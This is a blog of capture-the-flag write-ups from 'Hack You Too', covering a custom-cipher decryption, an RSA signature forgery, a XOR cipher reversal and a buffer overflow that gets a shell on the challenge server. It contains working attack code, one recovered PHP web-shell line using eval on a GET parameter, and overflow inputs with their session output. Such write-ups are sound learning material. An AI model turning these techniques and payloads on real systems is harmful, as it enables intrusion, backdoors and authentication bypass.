Wednesday, January 2, 2013

Hack You Too CTF - Crypto 500 - AllahAkbar

Description:
We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization. According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.
Let us know the md5 hash of deciphered 'bin' file.
Intelligence data: allahakbar.zip


Encryption Algorithm:
function enc(plaintext){
        key = random() mod (length(plaintext) * 2); 
        ct = [];
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
        return ct;
}
Cipher text in 'bin' file:
100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124
From the encryption algorithm and given cipher text, we can make the following observations:

[*] Key range is 1 to (length(ciphertext) * 2)
[*] If key >= 127 or key > ascii_code_of_char(plain_text), plain_text = (cipher_text)/ 2
[*] Even if key < 127, there is a possibility that key++ operation may result in key > 127 at some point
[*] Cipher text has odd numbers, so key didn't start with value >= 127
[*] 101 at index 67 is the last odd number. So incase if key became >= 127, it should be after this
>>> cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]
 
>>> cipher.index(101)
67
>>> for i in cipher[68:]:
...     plain += chr(i/2)
... 
>>> print plain
']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>
As per the observation, we have managed to retrieve the partial plain text and we can say that key should be a value < 60 (127 - 67). Now we can bruteforce to find the possible solution. Here is the code to do that:
#!/usr/bin/env python
# decrypt.py

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

def dec(cipher):
    for key in xrange(1,60): # reduced key range
        plain = [[] for x in xrange(len(cipher))]
        for id,c in enumerate(cipher):
            for p in [9,10,13] + range(32,127):  # printables
                if (p + (p % key)) == c:
                    plain[id].append(chr(p))
            key = key + 1
        if [] not in plain:
            print plain

dec(cipher)
[ctf@renorobert allahakbar]# python decrypt.py 
[['C', 'T'], ['h'], ['i', '{'], ['s'], ['\n'], ['f'], ['i', '}'], ['l'], ['P', 'e'], ['\n'], ['s'], ['h'], ['X', 'o'], ['u'], ['T', 'l'], ['d'], ['\n'], ['b'], ['e'], ['\n'], ['R', 'm'], ['a'], ['V', 'r'], ['k'], ['e'], ['d'], ['\n'], ['a'], ['s'], ['\n'], ['s'], ['a'], ['f'], ['e'], ['.', 'P'], ['\n'], ['<', '_'], ['?'], ['p'], ['h'], ['p'], [' '], ['?', 'e'], ['v'], [':', 'a'], ['l'], ['(', 'P'], ['$'], ['6', '_'], ['G'], ['E', 'o'], ['T'], ['0', '['], ["'"], ['A', 'm'], ['a'], ['?', 'l'], ['i'], ['5', 'c'], ['i'], ['@', 'o'], ['u'], ['C', 's'], ['_'], ['2', 'c'], ['o'], ['2', 'd'], ['e'], ["'"], [']'], [')'], [';'], ['/'], ['/'], ['H', '~'], ['A'], ['C', 'z'], ['K'], ['E', '}'], ['D'], [' '], ['B'], ['Y'], [' '], ['A', '|'], ['L'], ['L'], ['A'], ['h'], ['C'], ['R'], ['3'], ['W'], ['\n'], ['/'], ['/'], ['F'], ['R'], ['E'], ['E'], [' '], ['P'], ['A'], ['L'], ['E'], ['S'], ['T'], ['I'], ['N'], ['A'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['\n'], ['?'], ['>']]
We have the plain text but there are some collisions. Pick the values that makes sense, this is not too hard.
>>> plain = ['T','h','i','s','\n','f','i','l','e','\n','s','h','o','u','l','d','\n','b','e','\n','m','a','r','k','e','d','\n','a','s','\n','s','a','f','e','.','\n','<','?','p','h','p',' ','e','v','a','l','(','$','_','G','E','T','[',"'",'m','a','l','i','c','i','o','u','s','_','c','o','d','e',"'",']',')',';','/','/','H','A','C','K','E','D',' ','B','Y',' ','A','L','L','A','h','C','R','3','W','\n','/','/','F','R','E','E',' ','P','A','L','E','S','T','I','N','A','!','!','!','!','!','!','!','!','!','\n','?','>']
>>> print ''.join(i for i in plain)
This
file
should
be
marked
as
safe.
<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>
Write this to a file and find its md5sum. Flag for the challenge is : d191bd74bef3f2ce2c2f0c7f311018c3

Tuesday, January 1, 2013

Hack You Too CTF - Crypto 400 - Uncle Rivest

Description
Uncle Rivest challenges you to a battle and proposes you to steal flag from his secure infrastructure.


We have access to the python source code of the service. We can easily identify it as RSA cryptosystem from the name of the challenge and source code. Below is the important part of code
            cmd = raw_input('[0] Get auth key\n[1] Login\n[2] Exit\n').strip()
            if cmd == '0':
                login = raw_input('Enter your login:\n').strip()
                if re.search('[^a-zA-Z0-9]', login):
                    print 'Bad login'
                    continue
                if login == self.admin:
                    print 'Not for admins!'
                elif len(login) < self.max_login_len:
                    m = self.str_to_hash(login)
                    auth_key = self.binpow(m, self.d, self.n)
                    print 'Your auth key:\n%s' % base64.b64encode(str(auth_key))
                else:
                    print 'Error'
            elif cmd == '1':
                login = raw_input('Login:\n').strip()
                auth_key = raw_input('Auth key:\n').strip()
                try:
                    auth_key = int(base64.b64decode(auth_key))
                except:
                    print 'Error'
                    continue
                c = self.str_to_hash(login)
                if c == self.binpow(auth_key, self.e, self.n):
                    if login == self.admin:
                        flag = open('flag.txt','r').readline().strip()
                        print 'You win!\nFlag is: %s' % flag
                    else:
                        print 'Welcome, %s! You are not admin' % login
                else:
                    print 'Wrong auth key!'
            elif cmd == '2':
                sys.exit(0)
Summary of service:
[*] The service calculates the hash value of login name
[*] Then signs on the hash value as hash(m)^d mod n. This is sent back as authorization key
[*] The service doesn't sign when the login name is 'admin357'
[*] We will get flag if we could forge the signature of 'admin357' and validate ourself as admin

The public exponent e and modulo n value are given. Private exponent d is unknown.
e = 65537
n = 24007134668077839318704239757833363695524302813772795891485519226984107072647247568832064425929097558895623559893945502194926707312564453230806425423424997149843823227221596369795583261387779649714834167992749218150200223683296423069590080742550774828141844004559612066990484264910946488068587829100994639319674561758961812687482393281457478086918858906261630888892035335571465704005412337006332665433676386472229329420439767309647448615375682557274786037161968945400623209502352428011196477777002370787813952767888262642821196216644015950350716009261032012403125915949137853338061422774091806367454086620172463286011
After some googling I came across this paper How Not to Design RSA Signature Schemes. It gave good summary of attacks on RSA system. Page 8 describes The Desmedt and Odlyzko Attack against RSA Signatures that use Hash Function. This is what the attack says

[*] It applies to signatures when messages to sign are relatively small
[*] Factor the message we wish to forge into small primes
[*] Obtain signatures for these small primes [ Sig(m1) and Sig(m2) ]
[*] Produce the signature by multiplying the factors signature [ Sig('admin357') = Sig(m1)) * Sig(m2) mod n ]

This method looked much feasible and relevant for this particular challenge. We do the above steps to get the flag. Using the hash function defined in source code, we find the hash value of 'admin357' as 240021000768277
sage: factor(240021000768277)
2879449 * 83356573
Now we should find the two messages whose hash values are 2879449 and 83356573. For this, write a bruteforcer
#!/usr/bin/env python
# Brute.py

from multiprocessing import Process
import string

charset = map(chr,range(ord('a'),ord('z')+1)+range(ord('A'),ord('Z')+1)+range(ord('0'),ord('9')+1))
p = len(charset)+1
sec_option = string.ascii_letters + string.digits

def find_login(start, end):
    for i in sec_option[start:end]:
       for j in sec_option:
           for k in sec_option:
               for l in sec_option:
                   for m in sec_option:
                       s = i + j + k + l + m
                       res = 0
                       p_pow = 1
                       for ch in s:
                           res = res + (charset.index(ch) + 1) * p_pow
                           p_pow = p_pow * p
                       if res == 83356573:
                           print s
threads = 10
size = len(sec_option)/threads

for i in range(threads):
    if i == threads - 1:
        pro = Process(target=find_login, args=(end, len(sec_option)))
    else:
        start = i*size
        end = (i+1)*size
        pro = Process(target=find_login, args=(start, end))
    pro.start()
hash(HDFk)  == 2879449
hash(m4vre) == 83356573
Now find the signatures of these two messages:
Enter your login:
HDFk
Your auth key:
MjAyMTc3NTc0ODE4MDk3NjI4NTgxNjkyNjU1NTkyNDU2OTczMzc4MTkyMzYzMjQ0MTI2MzQ0MTY2MTE3MDc4NTU1ODI1MjU2OTQyNTg5ODYzNjE3MjQxMTUxMDg2ODk4OTY5OTQ0NjkyMDQ2MDU5MzIwNjYzNjY3MTc4MTYwMTI0MjQ0NzUzMjYzMDAxMzU2ODYwOTMzMDkyNDAxMzQ3MzgwNzIyODk2NzY1MjU5ODYyMTExODUzMzkxNjM5ODE0MjU1MjU5Njk2ODU2ODgyMTcxNDI4NDAzNzA2OTI4NDEwMTg3NDA3MDczODc2NzE0MDQ4NTg0MzI4MjcyMTk3NTQ1OTE0MDEyNzIzMzc3NDYyNTg0MDQ3OTY3ODc3NzY2NzEwMzU2ODc3NTE4ODg5OTU3MjA0NDAyMTQyNzQ2MjkxODM0MDQ1MzczNzE0MDQzMTc2OTQ5ODYzMDc0ODMxNDgyNTc4MjgwNDAxMDgyMjg2MDMyOTMyNzUyNDAxNzczMDUwMDUyNTEzMDEwNDg0MTgzNjExNjY0NzY3MjYwMjMzOTg0Mzc1OTg1MzQyODI5NTc0NTYyNzQxNDk1MDQ0MTgwNjkwNTI4ODk4Njk4NjAxNzc2Mzg0OTcwMjc3MTE1MzY5NDA0Mjc3OTE0MDk1NDA5MDY5MjYyOTQzNTY0MjA4ODI1Njk0OTY0MjIxNjY5MzIxMjYzMTA5NDAwMzM2MzgyMzgxOTY3MDA2OTc2MTY1MDYyOTI5MDc3NTE1OTU5ODg2NDIzODk2MjgzMDYxNzcwMDkzNTA0ODk0OTgyMzk1OTY5ODU5NjA=
###################################

Enter your login:
m4vre
Your auth key:
OTMyMjgxMTI4NTIyOTY2MDc3Mjg3NDY5MDI0MjkwOTEzNDY2NTEyMzkxNDgzMTEzNjQwNDM1NzUxNTY5NzU2MzA5ODU4ODI4MTY2OTY1OTA0MDM4NTQ4OTQ2MDk0NTA1MTM1ODQ5Mjc2OTQ5OTE5ODI5MzY1MDg2MzIwOTI5MTA5Mzg2NjI5ODU4MjY1MDEyNDAyOTY0OTQwNTk4Njc1NTM3NzY0MTcwODYwODc4MzYxMjk4ODg4MzY1NTc5NzkzNjM5MjM2NTUyNzk1NzA0NzgyNzMxMjEzNTc0Nzk1NDA2MjM5OTExMzYxMDM5MTcwNjk3Njc0NzQ5NjUwMjc5NDk3NzY5NjQ5MTE2ODY0MTQ5NzAyMzI0MTc2NjQzMTE0OTI0MDE0OTYyMzA5NDE2MTI0OTI1MTYxNjgwMjc4NTUwNDYzNDc2MTE5NDUwODEyODIzMjY0MjM1MzY3NjY5NjIwODQxNzUyMjI4ODEwMjM3Mzg5NTc3MjY0NzU1NzM2MjY4MDg1NDI4MzM5ODM4OTAyNjc1MTA0ODgxNzU2OTkwOTU5Njc4MDIxNjQ5MDg5MjA5MjI2ODUyMjU4NjUwNjY0NjAzODY5MTAwNzY1Mjk3NjcyNTM1MDU2Mjc0MDAyMDk4NjY5MDE2NTQ3OTg3OTMyOTU2MTExMjcyOTMxMzg5MjYyODE4ODAzODU3NjIzMzM2NjM5MTMzMjAxMTI3MDI5NDc3OTA1NzI4NDUwODQ5ODY0ODM1MTU1NDk5MDQ2MDAyMTc2NjkzOTQxNTQzMDY2NDM1NzI0NjAyMjgxNzkzNzk1NzcwMw==
###################################
sage: HDFk = 20217757481809762858169265559245697337819236324412634416611707855582525694258986361724115108689896994469204605932066366717816012424475326300135686093309240134738072289676525986211185339163981425525969685688217142840370692841018740707387671404858432827219754591401272337746258404796787776671035687751888995720440214274629183404537371404317694986307483148257828040108228603293275240177305005251301048418361166476726023398437598534282957456274149504418069052889869860177638497027711536940427791409540906926294356420882569496422166932126310940033638238196700697616506292907751595988642389628306177009350489498239596985960 
sage: m4vre = 9322811285229660772874690242909134665123914831136404357515697563098588281669659040385489460945051358492769499198293650863209291093866298582650124029649405986755377641708608783612988883655797936392365527957047827312135747954062399113610391706976747496502794977696491168641497023241766431149240149623094161249251616802785504634761194508128232642353676696208417522288102373895772647557362680854283398389026751048817569909596780216490892092268522586506646038691007652976725350562740020986690165479879329561112729313892628188038576233366391332011270294779057284508498648351554990460021766939415430664357246022817937957703
sage: c = HDFk * m4vre
sage: n = 24007134668077839318704239757833363695524302813772795891485519226984107072647247568832064425929097558895623559893945502194926707312564453230806425423424997149843823227221596369795583261387779649714834167992749218150200223683296423069590080742550774828141844004559612066990484264910946488068587829100994639319674561758961812687482393281457478086918858906261630888892035335571465704005412337006332665433676386472229329420439767309647448615375682557274786037161968945400623209502352428011196477777002370787813952767888262642821196216644015950350716009261032012403125915949137853338061422774091806367454086620172463286011
sage: d = c % n
sage: d
13574623912432240044822863812359283234859747054148159494167235793917678319412072444049220920878999004683366385825155698767760556797615066283417123606928385652060060105820138620728285638496912124805566477509535383074533513156122531232065826370773868088087444815382738938881580869082664659745993055583125491761462132535762521732243362070654723892827301858921446245233115836311936507425056946162395221057250160140532999076594373669854001012508803090254776204137540070507399407964736897613474767804984570580214311552244341901130144736560242966070953745838499808795280677707289411139719908808829636035822691459884636879416
sage: import base64
sage: base64.b64encode(str(d))
'MTM1NzQ2MjM5MTI0MzIyNDAwNDQ4MjI4NjM4MTIzNTkyODMyMzQ4NTk3NDcwNTQxNDgxNTk0OTQxNjcyMzU3OTM5MTc2NzgzMTk0MTIwNzI0NDQwNDkyMjA5MjA4Nzg5OTkwMDQ2ODMzNjYzODU4MjUxNTU2OTg3Njc3NjA1NTY3OTc2MTUwNjYyODM0MTcxMjM2MDY5MjgzODU2NTIwNjAwNjAxMDU4MjAxMzg2MjA3MjgyODU2Mzg0OTY5MTIxMjQ4MDU1NjY0Nzc1MDk1MzUzODMwNzQ1MzM1MTMxNTYxMjI1MzEyMzIwNjU4MjYzNzA3NzM4NjgwODgwODc0NDQ4MTUzODI3Mzg5Mzg4ODE1ODA4NjkwODI2NjQ2NTk3NDU5OTMwNTU1ODMxMjU0OTE3NjE0NjIxMzI1MzU3NjI1MjE3MzIyNDMzNjIwNzA2NTQ3MjM4OTI4MjczMDE4NTg5MjE0NDYyNDUyMzMxMTU4MzYzMTE5MzY1MDc0MjUwNTY5NDYxNjIzOTUyMjEwNTcyNTAxNjAxNDA1MzI5OTkwNzY1OTQzNzM2Njk4NTQwMDEwMTI1MDg4MDMwOTAyNTQ3NzYyMDQxMzc1NDAwNzA1MDczOTk0MDc5NjQ3MzY4OTc2MTM0NzQ3Njc4MDQ5ODQ1NzA1ODAyMTQzMTE1NTIyNDQzNDE5MDExMzAxNDQ3MzY1NjAyNDI5NjYwNzA5NTM3NDU4Mzg0OTk4MDg3OTUyODA2Nzc3MDcyODk0MTExMzk3MTk5MDg4MDg4Mjk2MzYwMzU4MjI2OTE0NTk4ODQ2MzY4Nzk0MTY='
Login:
admin357
Auth key:
MTM1NzQ2MjM5MTI0MzIyNDAwNDQ4MjI4NjM4MTIzNTkyODMyMzQ4NTk3NDcwNTQxNDgxNTk0OTQxNjcyMzU3OTM5MTc2NzgzMTk0MTIwNzI0NDQwNDkyMjA5MjA4Nzg5OTkwMDQ2ODMzNjYzODU4MjUxNTU2OTg3Njc3NjA1NTY3OTc2MTUwNjYyODM0MTcxMjM2MDY5MjgzODU2NTIwNjAwNjAxMDU4MjAxMzg2MjA3MjgyODU2Mzg0OTY5MTIxMjQ4MDU1NjY0Nzc1MDk1MzUzODMwNzQ1MzM1MTMxNTYxMjI1MzEyMzIwNjU4MjYzNzA3NzM4NjgwODgwODc0NDQ4MTUzODI3Mzg5Mzg4ODE1ODA4NjkwODI2NjQ2NTk3NDU5OTMwNTU1ODMxMjU0OTE3NjE0NjIxMzI1MzU3NjI1MjE3MzIyNDMzNjIwNzA2NTQ3MjM4OTI4MjczMDE4NTg5MjE0NDYyNDUyMzMxMTU4MzYzMTE5MzY1MDc0MjUwNTY5NDYxNjIzOTUyMjEwNTcyNTAxNjAxNDA1MzI5OTkwNzY1OTQzNzM2Njk4NTQwMDEwMTI1MDg4MDMwOTAyNTQ3NzYyMDQxMzc1NDAwNzA1MDczOTk0MDc5NjQ3MzY4OTc2MTM0NzQ3Njc4MDQ5ODQ1NzA1ODAyMTQzMTE1NTIyNDQzNDE5MDExMzAxNDQ3MzY1NjAyNDI5NjYwNzA5NTM3NDU4Mzg0OTk4MDg3OTUyODA2Nzc3MDcyODk0MTExMzk3MTk5MDg4MDg4Mjk2MzYwMzU4MjI2OTE0NTk4ODQ2MzY4Nzk0MTY=
You win!
Flag is: h0W_did_YoU_hAck_RSA
###################################
[0] Get auth key
[1] Login
[2] Exit
We have successfully forged the signature for 'admin357' and the flag is : h0W_did_YoU_hAck_RSA

Hack You Too CTF - Crypto 300 - Everybody Lies

Description:
Mr. Menhall has invented his own encryption algorithm and promised to give the flag to anyone who manages to decipher the message: vWsMajX21l6BdKwDxaRA3utqhpvFL0V=


For this challenge, source code of the encryption algorithm is given
def hashcrypt(msg, key):
    token = hashlib.sha1(key).digest()
    res = ""
    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2 ^ ord(token[0])
        n ^= 0xf3 ^ ord(token[1])
        n ^= 0x27 ^ ord(token[2])
        n ^= 0x4c ^ ord(token[3])
        n ^= 0x21 ^ ord(token[4])
        n ^= 0xfe ^ ord(token[5])
        n ^= 0xa3 ^ ord(token[6])
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11 ^ ord(token[6])
        n ^= 0x54 ^ ord(token[5])
        n ^= 0xca ^ ord(token[4])
        n ^= 0x3c ^ ord(token[3])
        n ^= 0x20 ^ ord(token[2])
        n ^= 0xd1 ^ ord(token[1])
        n ^= 0xf2 ^ ord(token[0])
        res += chr(n)
        token = hashlib.sha1(chr(n)).digest()
    return res.encode('base64').encode('rot13')
We have to reverse the algorithm to find the plain text. The algorithm uses nth cipher text byte to compute token for the (n+1)th cipher text byte. Using this we can find all plain text except the 1st byte. Below is the code to do that
#!/usr/bin/env python
# decrypt.py

import hashlib

def hashdecrypt(msg):
    res = msg.decode('rot13').decode('base64')
    res = [ ord(i) for i in res]
    for i in range(len(res)):
        if i == 22:
            print ''.join([chr(i) for i in res]) # i_lied_no_flag_for_you!
            break

        n = res[-i-2]
        token = hashlib.sha1(chr(n)).digest()
        for c in xrange(32, 127):
            n  = c ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
            n ^= 0xc2 ^ ord(token[0])
            n ^= 0xf3 ^ ord(token[1])
            n ^= 0x27 ^ ord(token[2])
            n ^= 0x4c ^ ord(token[3])
            n ^= 0x21 ^ ord(token[4])
            n ^= 0xfe ^ ord(token[5])
            n ^= 0xa3 ^ ord(token[6])
            n ^= 0xf0 ^ ord(token[7])
            n ^= 0x11 ^ ord(token[6])
            n ^= 0x54 ^ ord(token[5])
            n ^= 0xca ^ ord(token[4])
            n ^= 0x3c ^ ord(token[3])
            n ^= 0x20 ^ ord(token[2])
            n ^= 0xd1 ^ ord(token[1])
            n ^= 0xf2 ^ ord(token[0])
            if n == res[-i-1]:
                res[-i-1] = c    
                break
     
hashdecrypt('vWsMajX21l6BdKwDxaRA3utqhpvFL0V=')
[ctf@renorobert Everybody Lies]# python decrypt.py 
�_lied_no_flag_for_you!
The 1st byte can be easily guessed as 'i'. So the flag is: i_lied_no_flag_for_you!

Hack You Too CTF - Binary 400 - Microsoft Active Directory

Description:
Welcome to Microsoft Security Assessment Lab. As far as we are concerned, you are applying for an information security job at our vacancy. As your test assignment, you are to verify the security of our new Version 8 of Microsoft Active Directory service. This is the first time we ship Active Directory to Linux, so please be sure not to miss any kind of possible vulnerability.


I didn't participate in Hack You Too but got a chance to solve the challenges as they were online even after the CTF.
[ctf@renorobert Active]# nc  v.ctf.su 389
Hello, OU=Users,CN=Active_Directory_Default_Installation_Guest. Welcome to Active Directory (TM)

Please select the action:
1 - list Directories
2 - create Directory
3 - remove Directory
4 - auth as different user
5 - quit
>1
total 24
d---rwx--T 5 root ad   4096 Dec 11 02:34 .
drwx--x--t 3 root root 4096 Dec  3 00:03 ..
drwxr-xr-x 2 ad   ad   4096 Dec  2 23:54 1
----r----- 1 root ad     75 Dec  8 11:51 flag.txt
d---rwx--- 7 root ad   4096 Dec 11 02:36 HASHDB
drwxr-xr-x 2 ad   ad   4096 Dec  3 03:08 test
We have a local copy of the binary for analysis
[ctf@renorobert Active]# readelf -h activedirectory.bin | grep -i section
readelf: Error: Unable to read in 0x190488 bytes of section headers
  Start of section headers:          5448 (bytes into file)
  Size of section headers:           40 (bytes)
  Number of section headers:         40989
  Section header string table index: 44510 <corrupt: out of range>
The binary is not too hard to understand but the header is tampered so that it resists easy decompilation. Once the ELF is fixed, decompilation is easier. Change bytes 49 - 52 from [1D A0 DE AD] to [1C 00 1B 00], this fixes the ELF header.
[ctf@renorobert Active]# readelf -h activedirectory_fixed.bin | grep -i section
  Start of section headers:          5448 (bytes into file)
  Size of section headers:           40 (bytes)
  Number of section headers:         28
  Section header string table index: 27
The important section of the binary is below. We have to exploit a buffer overflow vulnerability to get the flag
switch ( dword_8049460 )
    {
      case 1:
        if ( system("ls -la") )  // String at address 0x8049280
          printf("Active Directory encountered an error\n");
        break;
      case 2:    // Create directory to pass access() check
        printf("Enter Directory name to create: ");
        fgets(&byte_8049480, 256, stdin);
        *(&byte_8049480 + strlen(&byte_8049480) - 1) = 0;
        if ( mkdir(&byte_8049480, 493) )
          printf("Active Directory encountered an error\n");
        else
          printf("Directory created successfully\n");
        break;
      case 3:
        printf("Enter Directory name to remove: ");
        fgets(&byte_8049480, 256, stdin);
        *(&byte_8049480 + strlen(&byte_8049480) - 1) = 0;
        if ( rmdir(&byte_8049480) )
          printf("Active Directory encountered an error\n");
        else
          printf("Directory removed successfully\n");
        break;
      case 4:
        printf("Login: ");
        fgets(&byte_8049780, 256, stdin);  // Payload here 
        *(&byte_8049780 + strlen(&byte_8049780) - 1) = 0;    
        printf("Password: ");
        fgets(&byte_8049880, 256, stdin);
        *(&byte_8049880 + strlen(&byte_8049880) - 1) = 0;
        v0 = sub_8048694((int)&byte_8049880);  // Hash function
        v1 = sub_8048694((int)&byte_8049780);
        sprintf(s, "HASHDB/OU=Users,LoginHash=%d,PasswHash=%d", v1, v0);
        if ( !access(s, 2) )   // Pass this check
        {
          strcpy(0x80491c0, 0x8049780); 
          // Anything beyond 192 bytes overwrites string passed to system() 
          printf("User authenticated successfully\n");
          sub_8048713();
        }
        printf("Wrong login or password\n");
        break;
      case 5:
        exit(0);
        break;
    }
Idea of expliot:
[*] Compute the hash value for a payload
[*] Create directory for the hash value using case 2, this will help passing the access() in case 4
[*] Use case 4, fgets(0x8049780, 256, stdin) reads in data. Anything beyond 192 bytes overwrites the string passed to system() at 0x8049280 due to strcpy(0x80491c0, 0x8049780)
[*] After overwriting, use case 1. This executes the command using system()

Below is the function used for hash calculation from the decompiled code.
#include<stdio.h>

void hash(char *a1)
{
  int v1; 
  int v3; 
  int i; 
  signed int j; 
  v3 = -464906069;
  for ( i = 0; *(a1 + i); ++i )
  {
    v1 = 17185 * *(a1 + i) ^ (4660 * *(a1 + i) + v3);
    v3 = v1 * v1;
  }
  for ( j = 0; j <= 99; ++j )
    v3 *= 1259284567;
  printf("HASHDB/OU=Users,LoginHash=%d,PasswHash=%d\n", v3, v3);
}

int main(int argc, char **argv)
{
    if (argc > 1)
    hash(argv[1]);
    return 0;
}
[ctf@renorobert Active]# ./hash `python -c 'print "A"*192 + "python"'`
HASHDB/OU=Users,LoginHash=-1707213439,PasswHash=-1707213439
Please select the action:
1 - list Directories
2 - create Directory
3 - remove Directory
4 - auth as different user
5 - quit
>2
Enter Directory name to create: HASHDB/OU=Users,LoginHash=-1707213439,PasswHash=-1707213439
Directory created successfully

Please select the action:
1 - list Directories
2 - create Directory
3 - remove Directory
4 - auth as different user
5 - quit
>4
Login: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython
User authenticated successfully
Hello, OU=Users,CN=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython. Welcome to Active Directory (TM)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApython1
Python 2.7.3 (default, Aug  1 2012, 05:16:07) 
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> open('flag.txt').read()
'flag: 40d3f5ea15eb3d5dba1d5a038351f060\n\n// bonus +800 flag in /etc/shadow\n\n'
So the flag for the challenge is: 40d3f5ea15eb3d5dba1d5a038351f060